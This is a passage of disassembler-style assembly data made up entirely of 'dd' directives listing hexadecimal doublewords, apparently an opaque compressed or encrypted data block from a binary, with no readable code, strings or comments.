		dd 63CF164Eh, 67C2E5E7h, 42F95C39h, 669FA31Eh, 0B74E9640h
		dd 1CEDF27h, 3523B267h,	0CCC9E395h, 13004915h, 37225986h
		dd 2AF8B729h, 0CC804Dh,	50CD09EFh, 26FA1017h, 2237F601h
		dd 0D3E5A85Bh, 58C57080h, 345925ACh, 4F05AA00h,	6D3D4082h
		dd 5020C008h, 270D1146h, 8420E253h, 2B603B83h, 0B8AC26B2h
		dd 813DF6FCh, 91DCA136h, 9BFC0005h, 7C7F71F6h, 25A70099h
		dd 0E26C1967h, 3253BDB4h, 3017A2E0h, 0ED00A676h, 436A3310h
		dd 69958C4h, 7434FBCAh,	0AA00C884h, 0D411C004h,	711656BFh
		dd 0F96A00F4h, 0EE07AE5Dh, 291F9538h, 0B280B582h, 4BEFB4FDh
		dd 78E33A72h, 815E860Eh, 0C0BA6240h, 0DCA00528h, 0E0AA3039h
		dd 8B137340h, 8FB77338h, 80F21036h, 0C9978F44h,	3A3F0711h
		dd 2206F5EDh, 64415983h, 0C0C2172Bh, 0E07881FBh, 14219B39h
		dd 3C5A760h, 0C03A369h,	0D822F026h, 27360C71h, 0B081E738h
		dd 3A333F00h, 0E32F1539h, 0EE9E00D3h, 0C998AC5Eh, 4700B148h
		dd 0C1E64EB9h, 0C637DF81h, 79ACEA39h, 0DD3FCE05h, 66C05FCFh
		dd 71D727E8h, 18E10072h, 4B44384Ah, 45023EC0h, 4730F797h
		dd 0EBACA59Fh, 8086C52h, 1F4AC399h, 56268CA8h, 3FDD4486h
		dd 4D1F2400h, 0CDED935h, 20CB0077h, 17849A39h, 3806B8C0h
		dd 0A9E248BBh, 0BD6903A9h, 11B4974Bh, 43E39498h, 0DDE0C650h
		dd 0B6911412h, 0F1A05402h, 4E9487C7h, 23DA7B32h, 4900BAEDh
		dd 9F668E80h, 72CED14Dh, 0AF5D0342h, 2A9A3B2Fh,	50096CC8h
		dd 28619B15h, 4E8C00D4h, 0B4A9454Bh, 0CFC72CC2h, 44493AA5h
		dd 2655AA00h, 0E87BA04Bh, 0AEBDEE00h, 0ECB61F32h, 601673FBh
		dd 18B948B2h, 90C90A73h, 0F7009038h, 49A00DCh, 13A67A41h
		dd 67145F45h, 80D0EC22h, 0CB6B3E55h, 0ADEE4Eh, 9F621413h
		dd 429C80DFh, 3024DA24h, 24B3FAC3h, 40807B39h, 941F53CAh
		dd 4D575F0Ah, 843FD78Dh, 0FD899683h, 4BDF3881h,	0AB74D4h
		dd 0DD8BD982h, 0B9D68FB1h, 0EBC11F02h, 605833C5h, 7125FA84h
		dd 0EE88049Eh, 0C0DDD995h, 23277F10h, 0B5364A1Eh, 0B7181C00h
		dd 3985F81h, 4DEBB079h,	40062BE1h, 0A45B1FB1h, 0BBCD0058h
		dd 0C6F67BB4h, 721E369Eh, 0E90257FBh, 9D7E9CC3h, 8F4611C4h
		dd 6A3FC1D8h, 7161794Ah, 388A0F2h, 1A5D638h, 23BE728Bh
		dd 644B4A51h, 0F7007084h, 21D83480h, 3AD0F29Eh,	0EB2A9D09h
		dd 0CF9300D8h, 6B2A4380h, 0ED029EEEh, 0FA5B9732h, 7160C488h
		dd 0B551263Dh, 0DB7989A8h, 0BCDDC80h, 220B5229h, 8343592Eh
		dd 9BA8721Fh, 8D9817BEh, 7F5B0B47h, 9DF53800h, 52002A6Dh
		dd 4FF08317h, 60268F8Bh, 0C2C205Eh, 0AFF2F30Fh,	0B80820A7h
		dd 0D49DC98Ch, 9380EE11h, 49D3AC87h, 0BD15DF00h, 0C3E39F9Ch
		dd 4E6116F8h, 776031D2h, 40E3F74Fh, 0CAEA601h, 47D15AF4h
		dd 255E9ECh, 0A534DEC8h
		dd 0B8B05723h, 9E118081h, 88691D8h, 7D01203Dh, 993980D9h
		dd 0AEF8C26Ah, 696239C5h, 651B9C80h, 0ED3885D0h, 0FC475324h
		dd 0F346E820h, 9A809D03h, 37ACF1D8h, 659161DCh,	2F020D5h
		dd 35F5A9A5h, 1F8DD4A0h, 7E040E31h, 0F0500AC0h,	4354098h
		dd 6CA9444Bh, 0B0331Eh,	4B6D3221h, 20BDE9B9h, 1A50C062h
		dd 0C9006346h, 23F87687h, 311666C1h, 18FDB82Ch,	9D800A0Ch
		dd 708C79D8h, 80078492h, 0E0A79C3Fh, 6D1620FFh,	0C87F7402h
		dd 0B4C0D9B1h, 21A94863h, 889D37A4h, 6C3307E0h,	0D0A0BA4Bh
		dd 9BA831FCh, 88921B07h, 0C0CC014Ch, 518D7317h,	10823055h
		dd 0BF6B06B2h, 0B0FFBCC0h, 7DE64798h, 0E0B3BE00h, 1F6DB544h
		dd 703F0030h, 0A8348E47h, 6300F6D1h, 0A0100E65h, 0D9D616h
		dd 9E8FEE66h, 3F85C67Ah, 8EC0F83Dh, 4097D55Fh, 0C1CA867Ch
		dd 7D63E34h, 8347AC00h,	3F32D2EDh, 0B000D3FCh, 0B29B1B90h
		dd 0DC55F8h, 0C51D5887h, 24404E36h, 0E9D5900h, 0E12A718Eh
		dd 0F955001Ch, 0BBD30BCAh, 0E90194A8h, 84D072DDh, 498397A1h
		dd 2CA31BBFh, 0D6B915C0h, 5B740306h, 7021717Bh,	0D2CF0FE8h
		dd 7640786Fh, 95F12D0h,	0F1A31C03h, 0E194BFFFh,	58C845BEh
		dd 50BB03A6h, 5FFC4C38h, 0CEB33000h, 1CBD1978h,	7BE900E4h
		dd 8D025A86h, 0FF012801h, 0B703010h, 0A0805FF4h, 0A183800Eh
		dd 2C009EC8h, 0F9DF6C79h, 50DC62D5h, 53AC69h, 0EECBB8C2h
		dd 0F04C2051h, 2965E20Ch, 3D1B080h, 0D42ED51Bh,	0A100B709h
		dd 1AB387A1h, 4C3F6AD7h, 2F38F013h, 0F8B6CE98h,	94031884h
		dd 0F6DD1790h, 52800774h, 70432B8Fh, 191E99CDh,	2AF86FE2h
		dd 88BC6D00h, 2D24F50Bh, 0AE640040h, 4C438D8Eh,	5C29B732h
		dd 507F04B5h, 901F3FE1h, 6BE7B39h, 54C3E2CFh, 1F9B7820h
		dd 0F08AC517h, 80521510h, 169EFE00h, 2ECC6162h,	2860004Ah
		dd 0CE5CB633h, 44008301h, 1DE6125Fh, 0D96C34h, 3615E2A4h
		dd 6951F193h, 0ED552006h, 81611Eh, 0ADAD3ADh, 5AB99448h
		dd 6A653106h, 205E51h, 35577C7h, 58A58DDFh, 6B00DC74h
		dd 23F5BDFBh, 7A34BEFh,	0AEA6B132h, 0DAD98C82h,	0FB4CC00h
		dd 3042C19h, 51546168h,	87A328DCh, 360C1DD1h, 69E0C8C0h
		dd 5DA901FBh, 1EBB5659h, 4C489743h, 0DE1CCE00h,	25A4C4h
		dd 3FDA2912h, 1BE2CBEAh, 3194FF00h, 0EDCF0B5Dh,	81E960BBh
		dd 99A84A6Ch, 7B8C4F00h, 9E9F6B37h, 0B46000C0h,	95D421A9h
		dd 4B068E61h, 0E883AE17h, 8FE43839h, 22873000h,	23609FFEh
		dd 0D40049E8h, 4B8D2911h, 0E9D0AEC7h, 0AB9531BCh, 0FC06A462h
		dd 0E92B6BC6h, 0C5ACF91Dh, 22553C5h, 8F55F84Bh,	0D8D08AB0h
		dd 0C7C6B59Fh, 2150C8h,	0A8A3BBA9h, 0D9D7684Ah,	859C521Dh
		dd 0EB461D00h, 1E298991h, 2A9FDF4h, 0F367280h, 0D400CC92h
		dd 0F5A6C306h, 10B46515h, 0FAF21408h, 308124D8h, 337A4F04h
		dd 0D5A11C10h, 408832DEh, 0C407AAF4h, 1017EF6Ah, 5437E220h
		dd 1840DF7Fh, 99802903h, 0D6091500h, 88EB161Fh,	218A0702h
		dd 0A4AC60h, 0DE495367h, 2C30A604h, 908D6Fh, 0EB81DA2h
		dd 80F32F4Fh, 9EE74800h, 4B028BB2h, 6B67600Dh, 57944840h
		dd 2F095C9Ch, 0EE80F40Ah, 0B8FD154Ch, 9F22903h,	15805F35h
		dd 97406D48h, 169D0049h, 44E74566h, 26E00A77h, 6024A100h
		dd 0D8D1A60Fh, 0A4493C4h, 80907C6Eh, 0BA8031Ch,	3A7C75B0h
		dd 3DAD9D00h, 1AA7DA8Ch, 0A3B50545h, 4427DEDCh,	97E24484h
		dd 0B0C8B00Ch, 0C7007A68h, 3B71F245h, 1C4725EAh, 0A8F167ADh
		dd 3F05026Ch, 0A42FEDE5h, 0E3314C40h, 226D8D40h, 32006F06h
		dd 9908022Ch, 49BE075Fh, 0FA009018h, 0E0161EE8h, 4200C67Dh
		dd 0EC50EF1Fh, 1E69089Bh, 404BD875h, 0B5533934h, 28546E03h
		dd 0A630B298h, 94B0B8B6h, 0E7F0105h, 422B682Dh,	20E4CD30h
		dd 81EF6A08h, 75D8F81h,	54303CACh, 306CE4E7h, 12A1EE2Dh
		dd 6824A05Bh, 0B28C5458h, 0C0C10814h, 0A2C772E9h, 180317ACh
		dd 0D48E7ADFh, 0AD8112A5h, 0DBC02024h, 16268B86h, 60881C17h
		dd 0D3B28C35h, 24F2A531h, 93D47000h, 70AA0DAh, 4AD6287Fh
		dd 6F6615C8h, 0CD00E079h, 0EB341327h, 0DF1E7058h, 0BB595303h
		dd 0E8E7691Eh, 52811D0h, 0A4724437h, 106C2EB8h,	0B7C04310h
		dd 400EEE02h, 66DB1309h, 6BB8B0B4h, 0F5EB0070h,	0CFD547F7h
		dd 3248062Ah, 9178EC0h,	0D81678h, 0EF6934C2h, 97AF4551h
		dd 7B10A898h, 447D54E9h, 0C891B2FAh, 0FC9CD000h, 8F99CAh
		dd 37AE616Dh, 1EB6EFA0h, 0E9C52B01h, 59059AF6h,	8101CAF3h
		dd 0E1570278h, 32A2C809h, 64DB4714h, 0F994B0E4h, 0B90B01A2h
		dd 80309207h, 0B889802Dh, 0E25D97ECh, 0B0E900FDh, 68A90738h
		dd 0B200AAC5h, 766ACF56h, 0A5C3D2Dh, 71B6013Ch,	0A2A0C0B4h
		dd 0A3464731h, 29000522h, 4477A213h, 0BD9BADh, 38479D74h
		dd 66C622FBh, 90FDF8A8h, 0F64BCE00h, 36ABB406h,	0E4073E0Ch
		dd 2624B001h, 84695C37h, 0A8868CF8h, 44D04088h,	50C452E9h
		dd 605E804h, 177007B3h,	0CE2D1FDh, 0DC84D0E5h, 7978FB30h
		dd 69690D06h, 0A831285Bh, 0F423BCh, 6C4497C5h, 9D09A09h
		dd 0A084DC53h, 0F2D784A0h, 4130B231h, 0F413894Ah, 89D9006Ah
		dd 353DE77h, 1B306CABh,	62E521E3h, 607F5Ah, 8A24BE8Dh
		dd 6664C918h, 9F0733Dh,	0A040AD8Ch, 0D326FCE4h,	0E1C90FC6h
		dd 0F938FFFBh, 0A00AB76h, 187E7B5Dh, 1611BDh, 43C09D86h
		dd 6BFFCD38h, 0E0223E00h, 59DCA860h, 1F64B14Bh,	49ADD896h
		dd 35007BDEh, 5944ED4Ch, 7777DAE4h, 0B1A015Eh, 0C3DFF622h
		dd 0BCE83053h, 0F5026A43h, 8CAA5009h, 0E8447442h, 3EAE444h
		dd 2A9A0A70h, 4CEF8AA0h, 2F01F119h, 21423624h, 6FC9A73Ah
		dd 60005863h, 0C6C7838Dh, 0FA26E469h, 0C040A097h, 9804CE1Ah
		dd 81490C2Ch, 6EC1B8ABh, 340AB4B8h, 0AB9913ADh,	0BD000C2Ch
		dd 30FDCA28h, 46B806CCh, 589C3D7Dh, 0EE4E6D04h,	100F67BFh
		dd 0E6991602h, 77BDDC68h, 6C91F81Dh, 10557880h,	0C0F6DA5Eh
		dd 0C3BC9C49h, 6902548Ah, 0DBF201F5h, 0BE189070h, 65800359h
		dd 0EFEBDE92h, 1EF2F940h, 2D6CC01h, 76FBE08Dh, 163A6C8h
		dd 5BE2961Bh, 0F5125953h, 60D03050h, 17D9FE00h,	4EA7554Fh
		dd 0F4CC005Dh, 0CFE546A4h, 4C985677h, 8D6EB8C6h, 76AA05F1h
		dd 10E560A4h, 8887B89Ch, 4394F3A5h, 7B7F107h, 0E6838B84h
		dd 6F82EF75h, 0E36448A4h, 0AF0A0791h, 508555DEh, 5A75464Ch
		dd 0FE9EF14h, 0F9E10080h, 2CE7A6DDh, 5828F84Fh,	1B8928FBh
		dd 0A2CE44B0h, 33479F11h, 2FBC2192h, 0E47CFC69h, 2BEBF700h
		dd 4ED904CFh, 0B8B1F8D4h, 46A32420h, 74242C0Ch,	983DE246h
		dd 0DE72B001h, 62E5ACB7h, 536B18B8h, 0C5D929h, 1220BEDFh
		dd 0F1A6FA95h, 0B242F309h, 502C20A9h, 9814164Dh, 74530330h
		dd 4775BEDBh, 7333BF0h,	9D28046Bh, 325084F4h, 656F20B7h
		dd 5EA80075h, 3F8E586Ch, 60B855B2h, 3F6A7B44h, 41802E03h
		dd 663EC8CCh, 0B400CF09h, 42DC3E3h, 0A413329Ch,	80360E3Ch
		dd 4B849BFAh, 202B2260h, 280458Ah, 0CB56E500h, 681449B6h
		dd 31842C62h, 0CCD81D4Ch, 2ED84FF7h, 74A37E24h,	594C4502h
		dd 129452FFh, 0A9553Ch,	54CEC800h, 0CF74E0DDh, 0E43649h
		dd 0B995BE65h, 18F812CCh, 811FC87Dh, 0B002BF6h,	3F7048C3h
		dd 0A9A876h, 3DB62849h,	914C4A8Fh, 0F367B916h, 0C07BC1Fh
		dd 0D6115A66h, 956057F4h
		dd 0DD6E007Eh, 202A8C95h, 0C300A9D4h, 6915FB93h, 0CEF80Bh
		dd 31541842h, 96E772B4h, 9BCA1400h, 0F3E312ECh,	5B0074Bh
		dd 50224713h, 0DD90C9EEh, 0FF9B2300h, 0A4A90C30h, 69E40053h
		dd 0D7657EC6h, 311EC23Eh, 0C980A5F5h, 0A2447935h, 722A00AEh
		dd 0ACD7D9DBh, 1607982Ch, 43ABFFA9h, 0DF697B20h, 907400CEh
		dd 0B8887091h, 0A070D58h, 0DE414C2Bh, 0DC4BF1C0h, 0D4F8073Bh
		dd 0D13F93C6h, 0E1753AB0h, 56C1F0DEh, 8E0015F0h, 10CFDD74h
		dd 32B32C3h, 92736CA8h,	0EEA0F5D1h, 0D40066F3h,	74D0F1B5h
		dd 639183Bh, 783F92CAh,	79036809h, 0A8C9FC9Dh, 1B8FE008h
		dd 7FA07621h, 29CC0FB6h, 6080DE5Dh, 0F4BBA557h,	343D700h
		dd 76344E77h, 19F5F0F2h, 283531FCh, 0E8803E41h,	0FAF27C8h
		dd 0DBD00DECh, 76101C83h, 4737129h, 0E4CF298Ch,	0E0BD008Bh
		dd 781CB058h, 9CF8DED6h, 0FCF1BF17h, 923F7200h,	0AC8EBEh
		dd 0DE1A71C9h, 0A04C57B4h, 3024F830h, 414835h, 0CEF13F38h
		dd 0C5B31C4h, 0BE900B00h, 91FBDC7h, 28AF54D7h, 0CABBF226h
		dd 18C07419h, 0DD58997Bh, 0A9F36930h, 0AC93D289h, 30667C60h
		dd 7BA8D3A0h, 1620FCF4h, 0C7600524h, 450919ECh,	0C0496190h
		dd 10BCBA71h, 57BE3E0Eh, 9A20B867h, 5AF12993h, 84CA157Ch
		dd 13CEB8Ah, 0B7A05591h, 8418A097h, 0B5648910h,	3F5DB00Ch
		dd 8E778A41h, 4524FC14h, 18491048h, 8D71CFF0h, 12A84D50h
		dd 0D064BD0Ch, 0ECA3846h, 0F1C40506h, 793EC33Dh, 81C645D7h
		dd 0AE4FCF03h, 7B9CD74h, 0C2588F31h, 32FDF0F0h,	88615077h
		dd 7B8DD2A1h, 26843980h, 89D04115h, 941C4F2Ah, 0A642AF06h
		dd 11F8F4h, 2BCD5257h, 7C0AFCD9h, 0F02A8714h, 0F1DE0184h
		dd 13A4B05Eh, 7B646E0h,	3ABE76B2h, 618187BAh, 9CC824CAh
		dd 272CA611h, 5A188E18h, 0DE121407h, 30503424h,	221B2035h
		dd 71741C73h, 4446B30Ah, 0C0A0A03Bh, 0E2502304h, 900824h
		dd 319D6F9Ch, 5499A504h, 51D45243h, 98D09C40h, 0CFF07A77h
		dd 771B3914h, 3F521284h, 175AE807h, 0AA0EBE40h,	4EB91811h
		dd 2E4D6092h, 405F5C89h, 3A68CB20h, 0D2604068h,	7DBA98FDh
		dd 0C51530F9h, 6271D018h, 0F163DD10h, 875E4861h, 11398AA1h
		dd 10315438h, 0BC4331A0h, 5D210CB1h, 0BE3839F9h, 48EC49h
		dd 3F4FF4BAh, 49FC8C9Eh, 7404AC02h, 0C840384Eh,	45509010h
		dd 0F122A80Ch, 46B121CAh, 3042CC0Ch, 71B2676Ch,	721C613Ch
		dd 2243CC57h, 257B4A00h, 7142A494h, 67981E8Bh, 1F8705ACh
		dd 5487C741h, 0FC34C2FDh, 0FB4AEC40h, 3B028318h, 2ACA3051h
		dd 1A0DA3Fh, 0C8A3B2F3h, 0C886CF39h, 0FC0036AFh, 4031EC76h
		dd 703D0h, 1193235Dh, 38F4BF1Fh, 30835C3Ah, 0C78051FEh
		dd 99DC4060h, 7846600h,	6A58356Fh, 0C2980219h, 570D3948h
		dd 0EB9F1360h, 46CBAD00h, 5468FC59h, 6727007Ah,	78393366h
		dd 2258109Bh, 9A7300F2h, 2990F252h, 0E1D4A883h,	5E990002h
		dd 0E02A579Ch, 2D79928Ah, 3C1B2500h, 0CA4571BFh, 0A1050069h
		dd 3E95C98Eh, 0B807B459h, 3F2D9E46h, 8C813A44h,	0C0849166h
		dd 0D0DE11D6h, 0ADED712Ch, 0E0D4693Bh, 0D2676410h, 444700A0h
		dd 5C3DBEBCh, 57001761h, 8648696Ah, 1E318C4Eh, 4C205530h
		dd 90606C66h, 7ED54405h, 0EEE7C8h, 19988CB0h, 0A600B80Fh
		dd 3B111E7Bh, 6DED9Dh, 0EC8E2115h, 78DC086Bh, 30959C38h
		dd 0BF130811h, 91720042h, 75CD4B10h, 0F4002B9Fh, 15D312BDh
		dd 38D6A95h, 0E5AB5FBFh, 0FBE21EC4h, 0EA2E1104h, 0B7A6BC00h
		dd 0CAA86D7Eh, 2C58177Ch, 0BD0076C1h, 33C22E53h, 7A53A9Eh
		dd 8015845Eh, 5DAC90C0h, 9732A72Fh, 105A2835h, 488452Ah
		dd 34C38832h, 0D0084689h, 44785144h, 2284E2DAh,	9D223B72h
		dd 283C503Dh, 1E99440Bh, 0CCC714A0h, 84509D40h,	0E88A2E22h
		dd 232D8838h, 0E7D48740h, 131EFE11h, 3B46BC36h,	48587975h
		dd 2B286261h, 51622671h, 34CABC1Fh, 0B06AC0C0h,	10BDAC4h
		dd 9B7D6EEBh, 0CC1E590Ah, 9F0053B5h, 284267DEh,	40E1CFh
		dd 3E7C9D8Dh, 0A95CF970h, 83D9F43Ah, 5309ED8h, 0D1B3E8A7h
		dd 0F01B0755h, 7108DFAFh, 707BE2FAh, 17002FAFh,	0DB8A8398h
		dd 9BE7D8h, 0F5D2222Ah,	85493DDCh, 0BB9AD000h, 2BF91017h
		dd 0EE7A3A04h, 32DDBD83h, 7B9B5260h, 532108D8h,	20C005F8h
		dd 0F14431B5h, 0F4C900CFh, 5F852362h, 0AAFA57FEh, 0DE7A3D0Eh
		dd 3F65C356h, 0B22FD860h, 0DCBC2EC1h, 0E396036Fh, 4AAB9C70h
		dd 1F31F9E0h, 0A2B8A800h, 4DDB7ABFh, 0EBEF45Bh,	0DCCDCFEDh
		dd 79A40E60h, 2C4997DEh, 5AEF0048h, 72F44170h, 389B0040h
		dd 0B54D9181h, 3F00A9C0h, 2CEAE139h, 9EC6EDh, 0A277F34Fh
		dd 0FC5F963Ch, 28CE500h, 33F1CDFFh, 0A62607C6h,	0BF16E6B8h
		dd 0A8E9EE03h, 22C36800h, 73D8F71Bh, 0BAC800CDh, 8EBBBCE8h
		dd 7E1F7993h, 3C9F591Dh, 0E020F280h, 821B87h, 37FBB55Fh
		dd 1A514838h, 0C34D8B00h, 2AB23093h, 844E0716h,	0D0AC7F86h
		dd 4F500F5Dh, 50A8BD3Dh, 0B300C49Ah, 0D68380F2h, 0E85C374Ah
		dd 0FF650047h, 0B9AF2B38h, 3D00685Bh, 0F401720Bh, 53607Ch
		dd 0A5DD3C50h, 0E074CD71h, 1B3E8603h, 0B032998Ch, 652CB36h
		dd 78B0F48Bh, 9D05ECEEh, 0F2B12F40h, 7B6C9403h,	34FAD075h
		dd 717D00DAh, 138F22CBh, 761C0FAAh, 5781C91Dh, 0A7F154B9h
		dd 0C7C0DCh, 1531F071h,	0D909D460h, 0B9A0DC28h,	1EF2360Eh
		dd 0AEA820BEh, 131CC250h, 0E8024EEh, 7B407824h,	3EB9EAAFh
		dd 0F058FCEBh, 0F8214A00h, 69840F47h, 3A70DAh, 9F8B043Fh
		dd 5D64D638h, 210A3D0Bh, 6FF500FDh, 48B79Dh, 13C765DAh
		dd 4DCDAC69h, 1A0237E4h, 0EF5A27B5h, 58BA4145h,	1FD2DE0h
		dd 0D1D4282Fh, 0D081BB06h, 27002B3Ch, 1423ECAAh, 0E9E38Ch
		dd 1EFDAE17h, 96D6B1C9h, 0FEC3C805h, 0F7007587h, 9BCCB455h
		dd 6A7A007Bh, 4D15C4A3h, 0D27FE5E7h, 36E0C760h,	1FD45CC8h
		dd 0C0F3230Dh, 0F92A1BCh, 6A002646h, 0D8EAEE5Fh, 3C96287Ch
		dd 3C017580h, 0FB82D189h, 5119C402h, 67845700h,	8D99E526h
		dd 12141D80h, 3D87C097h, 0F8969356h, 5C8AEA07h,	1630791Fh
		dd 30FA54Fh, 0BE05AB9Ah, 10A895C0h, 2000A007h, 0EE6CF229h
		dd 2541BBh, 80CE5ED8h, 0DC109A27h, 5346E600h, 14799EA0h
		dd 41F90040h, 5D5BFDD7h, 9D038B07h, 50AD92A2h, 1B12C029h
		dd 111F006Bh, 8B7B257Ch, 0CF0FC742h, 47641887h,	14F003CBh
		dd 16D8E4h, 23C6042Dh, 0E2A9BE53h, 5FA74200h, 4846BDF1h
		dd 8B59005Eh, 90C63E31h, 43E5AA14h, 30F179E4h, 22460039h
		dd 4EDFEF1h, 74E332BAh,	8094809Ah, 0C038DECh, 2BB6C9EBh
		dd 0D269D81Ah, 0C5E000ABh, 0F0532D44h, 1D004960h, 7D75489Ah
		dd 0B8E8FEh, 872A6E08h,	0F60C74B6h, 73773Ch, 0CD99D64Fh
		dd 0A6FE30h, 1A9CD3B5h,	0C84D585Eh, 223ABB00h, 0EEEDA872h
		dd 97750033h, 0C1A3D32Fh, 0A001ECFAh, 94F399C6h, 0EBF01D2Dh
		dd 73500001h, 0B5820F9Ch, 0FF006414h, 959E8978h, 1DA90B3Eh
		dd 0C05FA46Dh, 828A0532h, 17000FC0h, 0EC01BD57h, 346C1Ch
		dd 16665389h, 0B8CE4B87h, 1BCC690Fh, 201F3E5h, 3F33397Ch
		dd 1D1430h, 35452671h, 2CD0DA8Eh, 92A4F500h, 7CD61655h
		dd 0DD531EEFh, 0F4BC163h, 0E80C9765h, 6AFEE70Dh, 1ECB7B1Dh
		dd 883AEC28h, 0BE3F00E0h, 0B476638Fh, 94030228h, 0B5C9C8B2h
		dd 0D856E761h, 5403F668h
		dd 212EF892h, 0D1F1899Bh, 0CBC2C4h, 0C0EBB834h,	0F6BFE343h
		dd 0AC680201h, 37BC24DDh, 0FE1C5660h, 0CC5D03AAh, 0BF9A756Ch
		dd 2717F2B8h, 0FCF09951h, 6E85596h, 0A23F6200h,	0CF8BBC3Ah
		dd 7AE300A0h, 0BB5A45B2h, 5300ED9Dh, 4D5C7C6Ah,	0FCB3582Ah
		dd 96B9009Bh, 684CDF27h, 3B00CF1Ch, 0DB02ECF0h,	0E2A436h
		dd 5689DEB0h, 924976D2h, 0D3261D01h, 0F53D7D82h, 4F00FCCh
		dd 6C429F9h, 4300C0EDh,	3000F1A0h, 73E22320h, 1DB81841h
		dd 805B4222h, 0F46292EDh, 5471D039h, 4A771700h,	96BEFD9Ah
		dd 99C51CBAh, 0E8E7C07Eh, 2CB96DD2h, 26FB5D01h,	0D644F748h
		dd 5CCB0ED4h, 1407AC84h, 50C84Fh, 465CD305h, 0F80A6300h
		dd 0D70F89ABh, 4D170420h, 0C08AF582h, 0D466F6F8h, 0C002B002h
		dd 602283D8h, 736CC4B3h, 871C1D4Ah, 0BB448051h,	0C96A3B69h
		dd 15765F01h, 0DFA696E7h, 0D51BB880h, 0C448292Ch, 0F2A98100h
		dd 0DC5303ACh, 4DECEFC6h, 0C8721ECCh, 0D437C033h, 0FB09E231h
		dd 0DFEB4C05h, 15C0654Bh, 3B35A307h, 779CDBh, 1A2C6A47h
		dd 56911373h, 0E101D804h, 50C7898Bh, 7AE8BD60h,	0D588A021h
		dd 0B4E63Bh, 516FC17h, 0FABFF2A5h, 5A00E178h, 0EF5B5127h
		dd 0EA48FEF9h, 7FB50260h, 3E378DE2h, 0CB14D080h, 3100ECBDh
		dd 5892D113h, 2E86E9DAh, 28FC10h, 1FE85EAAh, 670089E0h
		dd 9747585h, 0E4213591h, 4C3C3C72h, 0D328D580h,	9040FEC9h
		dd 9B71200h, 67DFC44Fh,	0C61A00EAh, 0BCE6F7DCh,	875C35ABh
		dd 91E801B2h, 3203C1DEh, 0A252D4h, 0A72410D7h, 62BF07AAh
		dd 54766900h, 2EFFF5EFh, 0DC5216DAh, 23BC0137h,	0FCC3F4ADh
		dd 1FEADDE2h, 9C195103h, 0E83143B5h, 0BB7801h, 0A170F265h
		dd 0CA3C1EBFh, 1DC66403h, 88262CB5h, 7D4A4Ch, 987C2FBAh
		dd 0D125AA76h, 0C0E23Ah, 31FDCA4h, 6151B0B6h, 5CA1108Fh
		dd 72707011h, 9B5F4800h, 0E63CEDD2h, 0DAB500F8h, 7CBA079Eh
		dd 2800AA15h, 8FF6438Ch, 98BD512h, 346A03B0h, 634FC802h
		dd 8AFA32C0h, 80F7EF3Ch, 8CB17BE4h, 4C5FB9h, 0D2BF13A5h
		dd 37C3C4B2h, 0F0009890h, 49C57DBBh, 0EAE568h, 36D87DDh
		dd 576E4B4h, 260A7200h,	2A5CDB7h, 52440B55h, 0AC00DE80h
		dd 0A966D24h, 190C360Eh, 0D774E239h, 23BCE8FCh,	167E002Dh
		dd 38AB2493h, 810FCB6Fh, 603AAA98h, 0F7730D5Dh,	7C132C5Ah
		dd 0BC726D0h, 3801EDD3h, 105FE4B1h, 3049C27h, 23C5B347h
		dd 0C47696h, 80D2D4A9h,	64A307CEh, 407DF12Ch, 6358DCC7h
		dd 0D8CA6517h, 9F5F8607h, 13EA51D0h, 1BBB00F9h,	56275048h
		dd 99003E8Ah, 0D94EFA3h, 0E25B8E3h, 60B2367Eh, 7F4B1760h
		dd 742671FAh, 47170015h, 0CA207C00h, 0B1C32Ah, 0C4756D6Bh
		dd 10576871h, 0A01FB76h, 848B532Eh, 12D81A8Ch, 6B690C91h
		dd 51B957DAh, 0EA643100h, 2D377046h, 3E9605C7h,	0C081D42Eh
		dd 0D51AC928h, 49301800h, 0AE7E7BF3h, 19331EB7h, 0CAE51D28h
		dd 0EC0DFF8h, 0C5038CCAh, 0FB828A3Fh, 38E26040h, 0EB1739h
		dd 1AA9977Bh, 1DDC9AD7h, 81B43CAAh, 9243EE86h, 87EA4545h
		dd 0FEA3F0F5h, 0C300A87Bh, 492B6379h, 30E4E5F2h, 1A68C5F8h
		dd 91002A39h, 951F76C2h, 12D147h, 3E549BAEh, 45FACF7h
		dd 1BC03900h, 0FA45589Dh, 0E44F1F8Dh, 97F2004Ch, 10658CB8h
		dd 40179302h, 40D946A3h, 0F47D5Ah, 196E1F57h, 76B55931h
		dd 0C1C52D00h, 66FD8BDEh, 0D9451F1Eh, 935300B2h, 0A9C098ABh
		dd 0DA2AD50Fh, 0F39D404Bh, 2E50CEAEh, 0EE76h, 0D92AA0Eh
		dd 0AC4C3011h, 80F80010h, 0E8CF08B6h, 0B4530FEBh, 26E06A96h
		dd 770F0563h, 780D2205h, 4480E3EEh, 0CC636h, 87E4FE73h
		dd 4DE5B468h, 293C767Ah, 0C9AC80D7h, 3401EE28h,	0EEB0C4h
		dd 662D7ED3h, 2E0DA79Dh, 0EDB67B00h, 4DB29793h,	74BC13BAh
		dd 0CD1F00B7h, 0A31A7159h, 0D009575h, 0C438D127h, 6FB1Eh
		dd 18F5AC4Dh, 0B8E48370h, 9FD6E907h, 0BF570379h, 7125CC50h
		dd 1C1E0F55h, 0B8A0D7A0h, 6EF5B346h, 54D82400h,	31C23342h
		dd 34580005h, 0DB3EC65Ch, 4C005249h, 0D185626h,	1E67DAAh
		dd 0CEC18FE9h, 402B5D6Bh, 470F1B94h, 48E8CD5Dh,	60412EBEh
		dd 0D016C812h, 2573D801h, 8AD88B60h, 3EF22E30h,	0C490700h
		dd 400FD9B3h, 4F86A320h, 0BC03FAA6h, 0C31BE759h, 0B49CE9EEh
		dd 492F8DBh, 592C90B7h,	50007CE5h, 7203D567h, 0C601E102h
		dd 0D2797E44h, 84C83BEFh, 0FDB793Fh, 0FF020F4Ch, 0E9124260h
		dd 2F384481h, 203F82C6h, 63414AECh, 0BDAE0529h,	0C037CF0Ch
		dd 0FE7D240h, 0AC1CE60Bh, 77608025h, 0A3EA708h,	0F2172F6Bh
		dd 2A57058Ch, 30E48118h, 857F704Bh, 16877E00h, 9C3C4195h
		dd 7BCA1E3Eh, 4E6A801Eh, 0B43D2228h, 12DCE600h,	5F3242C7h
		dd 52900B66h, 72F821B5h, 83F7F900h, 0B1343D74h,	0A769053Ah
		dd 97C80564h, 52BC17F8h, 0D4805D78h, 2D4EF487h,	0D1772600h
		dd 995ECC27h, 6D2800A1h, 0DB75EFB0h, 0D400DC0Dh, 0E131361Dh
		dd 0E7954Ch, 62D3CFE3h,	3FFC634h, 9676C103h, 0BF6C8FF1h
		dd 8292F222h, 0D0D971CBh, 0B540020h, 0B557C649h, 653C0113h
